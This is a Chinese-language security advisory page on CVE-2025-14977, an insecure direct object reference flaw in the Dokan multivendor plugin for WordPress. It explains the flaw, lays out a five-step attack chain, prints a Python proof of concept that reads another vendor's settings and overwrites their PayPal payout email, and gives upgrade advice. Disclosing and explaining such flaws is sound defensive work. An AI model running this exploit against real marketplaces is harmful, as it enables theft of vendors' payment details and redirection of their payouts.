IPBUF安全漏洞报告
English
CVE-2025-14977 CVSS 8.1 高危

CVE-2025-14977 WordPress Dokan插件IDOR漏洞可劫持支付信息

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-14977
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress

相关标签

WordPressDokanIDORWooCommerce多供应商商城支付信息泄露REST API金融盗窃权限绕过

漏洞概述

CVE-2025-14977是WordPress平台Dokan多供应商商城插件中的一个高危安全漏洞。该漏洞存在于REST API端点`/wp-json/dokan/v1/settings`中,由于缺少对用户控制键的验证,导致存在不安全直接对象引用(IDOR)问题。攻击者只需拥有客户级别或更高的权限,即可利用此漏洞读取或修改其他供应商的商店设置,包括敏感的支付信息如PayPal邮箱、银行账户信息、银行路由号码、IBAN、SWIFT代码、电话号码和地址等。更为严重的是,攻击者可以将自己控制的PayPal邮箱地址设置为受害供应商的收款邮箱,从而在市场平台处理付款时实现金融盗窃。由于该插件是WordPress生态中流行的多供应商商城解决方案,被广泛应用于构建类似Amazon、eBay、Etsy的电商平台,因此该漏洞可能影响大量使用该插件的在线市场平台。CVSS评分8.1,属于高危漏洞。

技术细节

该漏洞的根本原因在于Dokan插件的StoreSettingController.php文件中,`/wp-json/dokan/v1/settings` REST API端点缺少对用户请求参数的充分验证。攻击者可以通过构造特定的API请求,利用用户控制的键值直接访问或修改其他供应商的设置对象。在正常情况下,系统应该验证当前登录用户是否有权访问或修改目标供应商的设置数据,但代码中缺少这一关键的授权检查。具体来说,攻击者可以通过修改请求中的供应商ID参数,绕过对象所有权检查,直接读取或写入目标供应商的敏感配置信息。这包括但不限于支付网关配置、个人联系信息和财务详情。由于WordPress REST API默认启用且无需额外认证即可访问(除非明确配置权限),这大大增加了该漏洞的可利用性。攻击者可以利用此漏洞窃取供应商的支付账户信息,或者将付款重定向到自己的账户,实现对市场平台财务系统的劫持。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress客户级别账户或利用已有账户获取REST API访问令牌(token)
STEP 2
步骤2
攻击者向/wp-json/dokan/v1/settings端点发送GET请求,通过修改vendor_id参数为其他供应商ID,读取该供应商的敏感设置信息包括支付详情
STEP 3
步骤3
攻击者向同一端点发送POST请求,构造包含恶意PayPal邮箱地址的JSON payload,将vendor_id指向目标供应商
STEP 4
步骤4
由于插件缺少对象所有权验证,请求被服务器处理,攻击者成功将目标供应商的PayPal收款邮箱修改为攻击者控制的地址
STEP 5
步骤5
当市场平台向供应商发放款项时,资金被重定向到攻击者的PayPal账户,实现金融盗窃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14977 PoC - Dokan IDOR vulnerability # Target: WordPress site with Dokan plugin <= 4.2.4 TARGET_URL = "https://vulnerable-site.com" ATTACKER_TOKEN = "attacker_wordpress_rest_api_token" # Customer-level token VICTIM_VENDOR_ID = 2 # Target vendor ID to modify # Step 1: Read victim's settings (information disclosure) def read_victim_settings(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Modify the vendor_id parameter to access other vendor's settings params = { "vendor_id": VICTIM_VENDOR_ID } response = requests.get(endpoint, headers=headers, params=params) print("[+] Victim settings:", response.json()) return response.json() # Step 2: Modify victim's PayPal email to attacker-controlled address def modify_victim_payment(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Send POST request with victim vendor_id to modify their payment settings payload = { "vendor_id": VICTIM_VENDOR_ID, "dokan_profile_setting": { "paypal_email": "[email protected]" } } response = requests.post(endpoint, headers=headers, json=payload) print("[+] Payment modification response:", response.status_code) return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-14977 - Dokan IDOR PoC") read_victim_settings() modify_victim_payment()

影响范围

Dokan plugin for WordPress <= 4.2.4

防御指南

临时缓解措施
立即将Dokan插件升级到4.2.5或更高版本以修复该IDOR漏洞。如果暂时无法升级,可考虑暂时禁用多供应商功能或限制REST API的公开访问。同时建议审查并限制具有修改支付信息权限的用户角色,定期审计供应商账户的可疑活动,并启用双因素认证增强账户安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表